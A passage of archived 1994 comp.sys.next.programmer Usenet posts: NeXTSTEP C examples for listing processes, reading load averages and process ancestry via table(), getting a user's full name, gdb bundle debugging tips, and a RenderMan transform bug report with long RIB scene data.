KERN_SUCCESS) { for (tidx=0;tidx<tcount;tidx++) if (unix_pid(tlist[tidx], &pid)==KERN_SUCCESS) (void)printf("%d\n", pid); (void)vm_deallocate(task_self(), (vm_address_t)tlist, tcount*sizeof (port_t)); (void)port_deallocate(task_self(), ppriv); (void)port_deallocate(task_self(), hlist[hidx]); } else (void)fprintf(stderr, "%s: couldn't get tasks for processor set %d\n", *argv, hidx); } (void)vm_deallocate(task_self(), (vm_address_t)hlist, hcount*sizeof (processor_set_name_t)); exit(0); } > I was able to get nlist() to return useful information for the load >average figures, _max_proc, and several other things that I wanted, so I'm >not just totally clueless about how to use it. No, no, no. Completely wrong approach. From May, 1992: #include <stdio.h> #include <sys/types.h> #include <sys/table.h> main() { struct tbl_loadavg avg; (void)table(TBL_LOADAVG, 0, (caddr_t)&avg, 1, sizeof avg); (void)printf("load average:%5.2f,%5.2f,%5.2f\n", (double)avg.tl_avenrun[0]/(double)avg.tl_lscale, (double)avg.tl_avenrun[1]/(double)avg.tl_lscale, (double)avg.tl_avenrun[2]/(double)avg.tl_lscale); exit(0); } Valid for 1.0 Valid for 2.0 This is still the ONLY reliable way under NEXTSTEP 3.x (other than a custom LKS), but the bozos at NeXT don't include table.h with NEXTSTEP Developer (hint: use a copy from NS 2.x). Heck, most newcomers don't even know that table() exists or what other things it can do without requiring root access, monkeying around with kmem, etc. Here's a more recent example using table() to get process information: (N.B. the 3.1 instructions are also valid for 3.2) /* pedigree: show process ancestry * Eric P. Scott, San Francisco State University, July 1993 * * Compile on 2.x: * cc -o pedigree -s -object -O -bsd pedigree.c * Compile on 3.0: * cc -o pedigree -s -object -O -bsd -DNX_COMPILER_RELEASE_3_0 pedigree.c * Compile on 3.1: * cc -o pedigree -s -object -O -bsd -fno-builtin pedigree.c */ #include <stdio.h> #include <sys/errno.h> #ifdef __STRICT_BSD__ #include <strings.h> #else #include <string.h> #endif #include <sys/types.h> #include <sys/dir.h> #include <sys/stat.h> #ifndef NX_COMPILER_RELEASE_3_0 #include <sys/table.h> #else /* * Mach Operating System * Copyright (c) 1986 Carnegie-Mellon University * All rights reserved. The CMU software License Agreement specifies * the terms and conditions for use and redistribution. */ #define TBL_PROCINFO 10 /* index by proc table slot */ /* * TBL_PROCINFO data layout */ #define PI_COMLEN 19 /* length of command string */ struct tbl_procinfo { int pi_uid; /* user ID */ int pi_pid; /* proc ID */ int pi_ppid; /* parent proc ID */ int pi_pgrp; /* proc group ID */ int pi_ttyd; /* controlling terminal number */ int pi_status; /* process status: */ #define PI_EMPTY 0 /* no process */ #define PI_ACTIVE 1 /* active process */ #define PI_EXITING 2 /* exiting */ #define PI_ZOMBIE 3 /* zombie */ int pi_flag; /* other random flags */ char pi_comm[PI_COMLEN+1]; /* short command name */ }; #endif main(argc, argv) int argc; char *argv[]; { extern int errno; int chrdev(); register struct direct *d, **dp; register int i; int pid, n; struct tbl_procinfo pi; struct direct **df; dev_t lastd; char tty[4]; if (argc<1||argc>2) { (void)fprintf(stderr, "Usage: %s [pid]\n", *argv); exit(1); } if (argc==2) { pid=atoi(argv[1]); if (kill(pid, 0)<0&&errno!=EPERM) { perror(argv[1]); exit(1); } } else pid=getpid(); if (chdir("/dev")<0) { perror("chdir"); exit(1); } if ((n=scandir(".", &df, chrdev, alphasort))<0) { (void)fputs("scandir() failed\n", stderr); exit(1); } lastd=(dev_t)-1; tty[0]='?', tty[1]='\0'; tty[2]='\0', tty[3]='\0'; (void)fputs(" UID PID PPID PGRP TT COMMAND\n", stdout); for (;;) { if (table(TBL_PROCINFO, pid, (char *)&pi, 1, sizeof pi)==1&&pi.pi_status==PI_ACTIVE) { if (pi.pi_ttyd!=lastd) { if (pi.pi_ttyd<0) tty[0]='?', tty[1]='\0'; else { dp=df; i=n; do { d= *dp++; if (*(dev_t *)&d->d_ino==(dev_t)pi.pi_ttyd) { if (d->d_namlen>3&&!strncmp(d->d_name, "tty", 3)) (void)strncpy(tty, d->d_name+3, 3); else { tty[0]=d->d_name[0], tty[1]=d->d_name[1]; tty[2]='\0'; } goto x; } } while (--i>0); tty[0]='?', tty[1]='?'; tty[2]='\0'; } x: lastd=pi.pi_ttyd; } (void)printf("%5d %5d %5d %5d %-3s%.*s\n", pi.pi_uid, pid, pi.pi_ppid, pi.pi_pgrp, tty, PI_COMLEN, pi.pi_comm); } else { (void)fputs("something went wrong\n", stderr); exit(1); } if (pid<=1) break; pid=pi.pi_ppid; } exit(0); } int chrdev(d) struct direct *d; { struct stat st; if (d->d_name[0]=='t'||(d->d_name[0]=='c'&&d->d_name[1]=='o')) { d->d_name[d->d_namlen]='\0'; if (stat(d->d_name, &st)>=0&&(st.st_mode&S_IFMT)==S_IFCHR) { *(dev_t *)&d->d_ino=st.st_rdev; return(1); } } return(0); } Hopefully these examples will get you on the right track. -=EPS=-
Newsgroups: comp.sys.next.programmer From: mark@xexos.com (Mark Chamberlain) Subject: Re: How to get the REAL USER NAME Message-ID: <Co36np.7pE@xexos.com> Sender: usenet@xexos.com Organization: Xexos Ltd (London) References: <2oa0hb$33v@steffi.demon.co.uk> Date: Mon, 11 Apr 1994 08:38:12 GMT In article <2oa0hb$33v@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > Why is it necessary to specifically use the nikit for this? > > When netinfo is running the regular passwd/group routines just query > netinfo. > > Well exactly, that last lump of sbc code is massive over-engineering.. the pw_gecos field from getpwuid works just fine with/without netinfo/nis whatever. -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
Newsgroups: comp.sys.next.programmer From: leif@pattern.rmnug.org (Leif Smith) Subject: Re: How to get the REAL USER NAME Message-ID: <1994Apr10.231315.2340@nugget.rmNUG.ORG> Sender: leif@nugget.rmNUG.ORG Organization: Rocky Mountain NeXT Users' Group References: <2o9fbt$b2f@senator-bedfellow.MIT.EDU> Date: Sun, 10 Apr 1994 23:13:15 GMT In article <2o9fbt$b2f@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > In article <2o374a$q7d@urmel.informatik.rwth-aachen.de> omeyer@rwthi3.informatik.rwth-aachen.de writes: > > >How do I get the real user name of the current user e.g. Oliver Meyer. > >Using NXUserName() I only get the login name, e.g. omeyer. > > I am not sure how to do this with NEXTSTEP commands, but with good old Unix > programming, you can do this: > > > #include <pwd.h> > > then somewhere in your source code, you can access the username by doing: > > struct passwd *userinfo = getpwuid(getuid()); > char *userFullName = (char*)malloc(strlen(userinfo->pw_gecos)+1); > > > Eric /* print user's full name * setpwent() and endpwent() used by someone who seemed to know */ what he was doing, but does not seem to be absolutely required. #include <libc.h> #include <pwd.h> char *user; main() { /* setpwent(); */ user = getpwuid((uid_t)getuid())->pw_gecos; /* endpwent(); */ printf("User's full name is '%s'\n",user); } -- Leif Smith, Denver leif@pattern.rmnug.org
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Debugging bundles in gdb Message-ID: <1994Apr10.224001.10560@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <1994Apr8.143805.15726@planon.qc.ca> Date: Sun, 10 Apr 1994 22:40:01 GMT Laurent, I've had similar problems...One thing I've done for this is explicitly add the paths of the bundles I'm loading. I've never had to do the add-file stuff under 3.2 for bundles though. [sample gdb session] rikhost> gdb BundlerOpener.app/BundleOpener (gdb) dir ~rik/Dev/TestSource/DocBase.src Adding symbols for .... (gdb) b [DocBase showWindows: (gdb) r Also, you may have to wait until AFTER the bundle is loaded (that is, the principalClass is instantiated), to set your breakpoints. So, maybe you should set the breakpoints in appDidInit:? Rik (cousens@biztech.com) In article <1994Apr8.143805.15726@planon.qc.ca> laurent@planon.qc.ca (Laurent Daudelin) writes: > Hi netter! > > I have an application which load some bundles at launch time. I'm in the > debugging process and have a problem with these bundles. I can't have a > backtrace of any calls in these bundles. I used the gdb command add-file, gdb > seems to load the symbols from the file, if I display the list of the known > selectors, using info selectors, I can see the methods defined in the bundles. > But whenever I try to set a breakpoint to one of the bundle method, gdb tells > me that the address is out of bound. > > What can I do? > > I don't have great experience in debugging, so, any help, pointer or info would > be greatly appreciated! > > Laurent. > > -- > ****************************************************************** > Laurent Daudelin, Software Engineer > Planon TELEXPERTISE Inc., Boucherville, Quebec, CANADA > laurent@planon.qc.ca <-- NeXTMail welcome! (Mac Mail welcome too!)
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Sorted Hash Table Message-ID: <1994Apr10.224933.10642@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2o4332$5je@lace.Colorado.EDU> Distribution: usa Date: Sun, 10 Apr 1994 22:49:33 GMT Orion, any reservations with using Indexing Kit? This would allow you to search for partial matches, whereas with a HashTable, you have to have an EXACT key in order to determine whether it's in the HashTable, or not (this is not explictly true, since you can actually "walk" the hash table as a linear list and access the keys and objects in it, but this defeats the whole purpose of using a HashTable). Indexing Kit, while somewhat buggy, might be a real win for you! Any opposing comments? Rik (cousens@biztech.com) In article <2o4332$5je@lace.Colorado.EDU> poplawsk@Colorado.EDU (Orion E. Poplawski) writes: > I am working on a sorting scheme for a database I am working on and am > looking for suggestions on how to impliment it. Basically, I want to > implement a true "library" sorting of titles. For example, the following > is a list of titles and how they sort. > > The Way We Were -> way we were > An Indian Summer -> indian summer > 99 Balloons -> ninety nine balloons > > So I figure that what I want is kind of a sorted hash table that is sorted > by the values of the keys. I could also do a sorted list - but then I > would have to apply my translation routine to the string every time I > wanted to compare them - a hash table seems more efficient. I would then > step throught the table to display the titles in true alphabetical order. > > However, I no nothing about the internal operations of hash tables and > would have no idea how to had sorting capabilities to them. Any ideas? > > - Orion Poplawski > poplawsk@Colorado.EDU (NeXT mail OK)
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.software From: gery@ares.fdn.org (Gery Divry) Subject: Renderman Matrices product Message-ID: <1994Apr11.091815.371@ares.fdn.org> Keywords: Renderman Bug Sender: news@ares.fdn.org Organization: Ares - Lyon, France. Date: Mon, 11 Apr 1994 09:18:15 GMT After several tests it seems that the composition of two transformations (Transform) is bugged in renderman. I was thinking that this bug was fixed. ex : ##RenderMan RIB-Structure 1.0 #version 3.03 ##System NeXTSTEP Release 3 ##Creator ZZvolume on NeXTSTEP - (C) 1993 Gery.Divry Display "Image_000.tiff" "tiff" "rgb" Format 624 514 1.00 CropWindow 0.0000000 1.0000000 0.0000000 1.0000000 Option "shadow" "bias0" 0.005 Option "shadow" "bias1" 0.01 ShadingRate 4.000000 ShadingInterpolation "smooth" Projection "perspective" "fov" 13.661610 Orientation "lh" Identity Rotate 0.000000 0.0 0.0 1.0 Rotate -65.905157 1.0 0.0 0.0 Rotate 26.565051 0.0 1.0 0.0 Translate -0.200000 -1.160000 0.400000 Declare "coneangle" "float" Declare "conedeltaangle" "float" Declare "beamdistribution" "float" Declare "intensity" "float" Declare "lightcolor" "color" Declare "from" "point" Declare "to" "point" LightSource "ambientlight 0" "ambientlight" "intensity" [0.25] LightSource "distantlight Soleil" "distantlight" "from" [-0.539658 0.303675 -0.785207] "to" [0 0 0] "intensity" [0.85] MacroBegin "chaise" AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ -0.01750 0.00000 -0.04637 -0.01750 0.04500 -0.04637 -0.01750 0.00000 -0.05037 -0.01750 0.04500 -0.05037 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.00000 -0.05037 -0.01750 0.04500 -0.05037 -0.02150 0.00000 -0.05037 -0.02150 0.04500 -0.05037 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.00000 -0.05037 -0.02150 0.04500 -0.05037 -0.02150 0.00000 -0.04637 -0.02150 0.04500 -0.04637 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.00000 -0.04637 -0.02150 0.04500 -0.04637 -0.01750 0.00000 -0.04637 -0.01750 0.04500 -0.04637 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.00000 -0.04637 -0.01750 0.00000 -0.05037 -0.02150 0.00000 -0.04637 -0.02150 0.00000 -0.05037 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.04500 -0.04637 -0.02150 0.04500 -0.05037 -0.01750 0.04500 -0.04637 -0.01750 0.04500 -0.05037 ] AttributeEnd AttributeEnd AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ 0.02150 0.00000 -0.04637 0.02150 0.04500 -0.04637 0.02150 0.00000 -0.05037 0.02150 0.04500 -0.05037 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.00000 -0.05037 0.02150 0.04500 -0.05037 0.01750 0.00000 -0.05037 0.01750 0.04500 -0.05037 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.00000 -0.05037 0.01750 0.04500 -0.05037 0.01750 0.00000 -0.04637 0.01750 0.04500 -0.04637 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.00000 -0.04637 0.01750 0.04500 -0.04637 0.02150 0.00000 -0.04637 0.02150 0.04500 -0.04637 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.00000 -0.04637 0.02150 0.00000 -0.05037 0.01750 0.00000 -0.04637 0.01750 0.00000 -0.05037 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.04500 -0.04637 0.01750 0.04500 -0.05037 0.02150 0.04500 -0.04637 0.02150 0.04500 -0.05037 ] AttributeEnd AttributeEnd AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ 0.02150 0.00000 -0.00737 0.02150 0.04500 -0.00737 0.02150 0.00000 -0.01137 0.02150 0.04500 -0.01137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.00000 -0.01137 0.02150 0.04500 -0.01137 0.01750 0.00000 -0.01137 0.01750 0.04500 -0.01137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.00000 -0.01137 0.01750 0.04500 -0.01137 0.01750 0.00000 -0.00737 0.01750 0.04500 -0.00737 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.00000 -0.00737 0.01750 0.04500 -0.00737 0.02150 0.00000 -0.00737 0.02150 0.04500 -0.00737 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.00000 -0.00737 0.02150 0.00000 -0.01137 0.01750 0.00000 -0.00737 0.01750 0.00000 -0.01137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.04500 -0.00737 0.01750 0.04500 -0.01137 0.02150 0.04500 -0.00737 0.02150 0.04500 -0.01137 ] AttributeEnd AttributeEnd AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ -0.01750 0.00000 -0.00737 -0.01750 0.04500 -0.00737 -0.01750 0.00000 -0.01137 -0.01750 0.04500 -0.01137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.00000 -0.01137 -0.01750 0.04500 -0.01137 -0.02150 0.00000 -0.01137 -0.02150 0.04500 -0.01137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.00000 -0.01137 -0.02150 0.04500 -0.01137 -0.02150 0.00000 -0.00737 -0.02150 0.04500 -0.00737 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.00000 -0.00737 -0.02150 0.04500 -0.00737 -0.01750 0.00000 -0.00737 -0.01750 0.04500 -0.00737 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.00000 -0.00737 -0.01750 0.00000 -0.01137 -0.02150 0.00000 -0.00737 -0.02150 0.00000 -0.01137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.04500 -0.00737 -0.02150 0.04500 -0.01137 -0.01750 0.04500 -0.00737 -0.01750 0.04500 -0.01137 ] AttributeEnd AttributeEnd AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ 0.02150 0.05000 -0.00738 0.02150 0.09941 0.00133 0.02150 0.05000 -0.01144 0.02150 0.10011 -0.00261 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.05000 -0.01144 0.02150 0.10011 -0.00261 0.01750 0.05000 -0.01144 0.01750 0.10011 -0.00261 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.05000 -0.01144 0.01750 0.10011 -0.00261 0.01750 0.05000 -0.00738 0.01750 0.09941 0.00133 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.05000 -0.00738 0.01750 0.09941 0.00133 0.02150 0.05000 -0.00738 0.02150 0.09941 0.00133 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.05000 -0.00738 0.02150 0.05000 -0.01144 0.01750 0.05000 -0.00738 0.01750 0.05000 -0.01144 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.09941 0.00133 0.01750 0.10011 -0.00261 0.02150 0.09941 0.00133 0.02150 0.10011 -0.00261 ] AttributeEnd AttributeEnd AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ -0.01750 0.05000 -0.00738 -0.01750 0.09941 0.00133 -0.01750 0.05000 -0.01144 -0.01750 0.10011 -0.00261 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.05000 -0.01144 -0.01750 0.10011 -0.00261 -0.02150 0.05000 -0.01144 -0.02150 0.10011 -0.00261 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.05000 -0.01144 -0.02150 0.10011 -0.00261 -0.02150 0.05000 -0.00738 -0.02150 0.09941 0.00133 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.05000 -0.00738 -0.02150 0.09941 0.00133 -0.01750 0.05000 -0.00738 -0.01750 0.09941 0.00133 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.05000 -0.00738 -0.01750 0.05000 -0.01144 -0.02150 0.05000 -0.00738 -0.02150 0.05000 -0.01144 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.09941 0.00133 -0.02150 0.10011 -0.00261 -0.01750 0.09941 0.00133 -0.01750 0.10011 -0.00261 ] AttributeEnd AttributeEnd AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ 0.02150 0.04500 -0.00738 0.02150 0.05000 -0.00738 0.02250 0.04500 -0.05137 0.02250 0.05000 -0.05137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02250 0.04500 -0.05137 0.02250 0.05000 -0.05137 -0.02250 0.04500 -0.05137 -0.02250 0.05000 -0.05137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02250 0.04500 -0.05137 -0.02250 0.05000 -0.05137 -0.02150 0.04500 -0.00738 -0.02150 0.05000 -0.00738 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.04500 -0.00738 -0.02150 0.05000 -0.00738 0.02150 0.04500 -0.00738 0.02150 0.05000 -0.00738 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.04500 -0.00738 0.02250 0.04500 -0.05137 -0.02150 0.04500 -0.00738 -0.02250 0.04500 -0.05137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.05000 -0.00738 -0.02250 0.05000 -0.05137 0.02150 0.05000 -0.00738 0.02250 0.05000 -0.05137 ] AttributeEnd AttributeEnd AttributeBegin Color 0.171 0.269 0.150 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ -0.01750 0.09762 0.00000 -0.01750 0.09779 -0.00098 0.01750 0.09762 0.00000 0.01750 0.09779 -0.00098 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.09762 0.00000 0.01750 0.09779 -0.00098 0.01750 0.08284 -0.00260 0.01750 0.08302 -0.00359 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.08284 -0.00260 0.01750 0.08302 -0.00359 -0.01750 0.08284 -0.00260 -0.01750 0.08302 -0.00359 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.08284 -0.00260 -0.01750 0.08302 -0.00359 -0.01750 0.09762 0.00000 -0.01750 0.09779 -0.00098 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.09762 0.00000 0.01750 0.09762 0.00000 -0.01750 0.08284 -0.00260 0.01750 0.08284 -0.00260 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.08302 -0.00359 0.01750 0.08302 -0.00359 -0.01750 0.09779 -0.00098 0.01750 0.09779 -0.00098 ] AttributeEnd AttributeEnd MacroEnd WorldBegin Surface "plastic" AttributeBegin Color 0.000 0.000 0.000 Opacity 0.000 0.000 0.000 Attribute "identifier" "name" ["chaise2_1048581"] TransformBegin Transform [ 0.000000 0.000000 1.000000 0.000000 0.000000 1.000000 0.000000 0.000000 -1.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 1.000000 ] AttributeBegin Color 0.000 0.000 0.000 Opacity 0.000 0.000 0.000 Attribute "identifier" "name" ["chaise_0"] TransformBegin Transform [ 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 ] MacroInstance "chaise" TransformEnd AttributeEnd TransformEnd AttributeEnd AttributeBegin Color 0.000 0.000 0.000 Opacity 0.000 0.000 0.000 Attribute "identifier" "name" ["chaise2_1048578"] TransformBegin Transform [ 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 ] AttributeBegin Color 0.000 0.000 0.000 Opacity 0.000 0.000 0.000 Attribute "identifier" "name" ["chaise_0"] TransformBegin Transform [ 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 0.000000 0.000000 0.000000 0.000000 1.000000 ] MacroInstance "chaise" TransformEnd AttributeEnd TransformEnd AttributeEnd WorldEnd Only one chair appear.... i should have a second one with a 90deg angle The composition of two Identity Matrix is Ok ( fortunatly) but an Identity with an other type of matrix dont seem to work. Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy MW1 NeXT Mail accepted
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: Renderman Bug Message-ID: <1994Apr11.091912.497@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. Date: Mon, 11 Apr 1994 09:19:12 GMT After several tests it seems that the composition of two transformations (Transform) is bugged in renderman. I was thinking that this bug was fixed. ex : ##RenderMan RIB-Structure 1.0 #version 3.03 ##System NeXTSTEP Release 3 ##Creator ZZvolume on NeXTSTEP - (C) 1993 Gery.Divry Display "Image_000.tiff" "tiff" "rgb" Format 624 514 1.00 CropWindow 0.0000000 1.0000000 0.0000000 1.0000000 Option "shadow" "bias0" 0.005 Option "shadow" "bias1" 0.01 ShadingRate 4.000000 ShadingInterpolation "smooth" Projection "perspective" "fov" 13.661610 Orientation "lh" Identity Rotate 0.000000 0.0 0.0 1.0 Rotate -65.905157 1.0 0.0 0.0 Rotate 26.565051 0.0 1.0 0.0 Translate -0.200000 -1.160000 0.400000 Declare "coneangle" "float" Declare "conedeltaangle" "float" Declare "beamdistribution" "float" Declare "intensity" "float" Declare "lightcolor" "color" Declare "from" "point" Declare "to" "point" LightSource "ambientlight 0" "ambientlight" "intensity" [0.25] LightSource "distantlight Soleil" "distantlight" "from" [-0.539658 0.303675 -0.785207] "to" [0 0 0] "intensity" [0.85] MacroBegin "chaise" AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ -0.01750 0.00000 -0.04637 -0.01750 0.04500 -0.04637 -0.01750 0.00000 -0.05037 -0.01750 0.04500 -0.05037 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.00000 -0.05037 -0.01750 0.04500 -0.05037 -0.02150 0.00000 -0.05037 -0.02150 0.04500 -0.05037 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.00000 -0.05037 -0.02150 0.04500 -0.05037 -0.02150 0.00000 -0.04637 -0.02150 0.04500 -0.04637 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.00000 -0.04637 -0.02150 0.04500 -0.04637 -0.01750 0.00000 -0.04637 -0.01750 0.04500 -0.04637 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.00000 -0.04637 -0.01750 0.00000 -0.05037 -0.02150 0.00000 -0.04637 -0.02150 0.00000 -0.05037 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.04500 -0.04637 -0.02150 0.04500 -0.05037 -0.01750 0.04500 -0.04637 -0.01750 0.04500 -0.05037 ] AttributeEnd AttributeEnd AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ 0.02150 0.00000 -0.04637 0.02150 0.04500 -0.04637 0.02150 0.00000 -0.05037 0.02150 0.04500 -0.05037 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.00000 -0.05037 0.02150 0.04500 -0.05037 0.01750 0.00000 -0.05037 0.01750 0.04500 -0.05037 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.00000 -0.05037 0.01750 0.04500 -0.05037 0.01750 0.00000 -0.04637 0.01750 0.04500 -0.04637 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.00000 -0.04637 0.01750 0.04500 -0.04637 0.02150 0.00000 -0.04637 0.02150 0.04500 -0.04637 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.00000 -0.04637 0.02150 0.00000 -0.05037 0.01750 0.00000 -0.04637 0.01750 0.00000 -0.05037 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.04500 -0.04637 0.01750 0.04500 -0.05037 0.02150 0.04500 -0.04637 0.02150 0.04500 -0.05037 ] AttributeEnd AttributeEnd AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ 0.02150 0.00000 -0.00737 0.02150 0.04500 -0.00737 0.02150 0.00000 -0.01137 0.02150 0.04500 -0.01137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.00000 -0.01137 0.02150 0.04500 -0.01137 0.01750 0.00000 -0.01137 0.01750 0.04500 -0.01137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.00000 -0.01137 0.01750 0.04500 -0.01137 0.01750 0.00000 -0.00737 0.01750 0.04500 -0.00737 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.00000 -0.00737 0.01750 0.04500 -0.00737 0.02150 0.00000 -0.00737 0.02150 0.04500 -0.00737 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.00000 -0.00737 0.02150 0.00000 -0.01137 0.01750 0.00000 -0.00737 0.01750 0.00000 -0.01137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.04500 -0.00737 0.01750 0.04500 -0.01137 0.02150 0.04500 -0.00737 0.02150 0.04500 -0.01137 ] AttributeEnd AttributeEnd AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ -0.01750 0.00000 -0.00737 -0.01750 0.04500 -0.00737 -0.01750 0.00000 -0.01137 -0.01750 0.04500 -0.01137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.00000 -0.01137 -0.01750 0.04500 -0.01137 -0.02150 0.00000 -0.01137 -0.02150 0.04500 -0.01137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.00000 -0.01137 -0.02150 0.04500 -0.01137 -0.02150 0.00000 -0.00737 -0.02150 0.04500 -0.00737 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.00000 -0.00737 -0.02150 0.04500 -0.00737 -0.01750 0.00000 -0.00737 -0.01750 0.04500 -0.00737 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.01750 0.00000 -0.00737 -0.01750 0.00000 -0.01137 -0.02150 0.00000 -0.00737 -0.02150 0.00000 -0.01137 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ -0.02150 0.04500 -0.00737 -0.02150 0.04500 -0.01137 -0.01750 0.04500 -0.00737 -0.01750 0.04500 -0.01137 ] AttributeEnd AttributeEnd AttributeBegin Color 1.000 0.451 0.235 Opacity 1.000 1.000 1.000 AttributeBegin Patch "bilinear" "P" [ 0.02150 0.05000 -0.00738 0.02150 0.09941 0.00133 0.02150 0.05000 -0.01144 0.02150 0.10011 -0.00261 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.02150 0.05000 -0.01144 0.02150 0.10011 -0.00261 0.01750 0.05000 -0.01144 0.01750 0.10011 -0.00261 ] AttributeEnd AttributeBegin Patch "bilinear" "P" [ 0.01750 0.05000 -0.01144 0.01750 0.10011 -0.00261 0.01750 0.05000 